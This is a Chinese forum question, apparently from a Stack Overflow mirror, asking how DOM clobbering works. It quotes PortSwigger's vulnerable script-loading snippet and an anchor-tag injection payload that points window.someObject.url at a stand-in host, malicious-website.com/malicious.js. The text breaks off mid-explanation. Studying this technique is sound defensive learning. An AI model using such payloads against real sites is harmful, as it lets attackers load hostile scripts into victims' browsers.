小编sec*_*int的帖子

DOM 破坏及其工作原理

我对DOM Clobbering主题有一些疑问:

Portswigger 对此进行了解释:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>
Run Code Online (Sandbox Code Playgroud)

要利用此易受攻击的代码,您可以注入以下 HTML,以使用锚元素破坏 someObject 引用:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
Run Code Online (Sandbox Code Playgroud)

由于两个锚点使用相同的 ID,因此 DOM 将它们分组到一个 DOM 集合中。然后 DOM 破坏向量用这个 DOM 集合覆盖 someObject 引用。在最后一个锚元素上使用 name 属性是为了破坏 someObject 对象的 url 属性,该对象指向外部脚本。

我的理解是:

具有 id 的锚元素someObject存储在类似数组的结构中 - DOM 集合。

通过

var someObject = window.someObject || {};
Run Code Online (Sandbox Code Playgroud)

锚元素是使用 id 引用的 - 某些浏览器将 id 直接存储在 window 对象中(html 元素的 ID …

html javascript frontend dom web-application-security

4
推荐指数
1
解决办法
2012
查看次数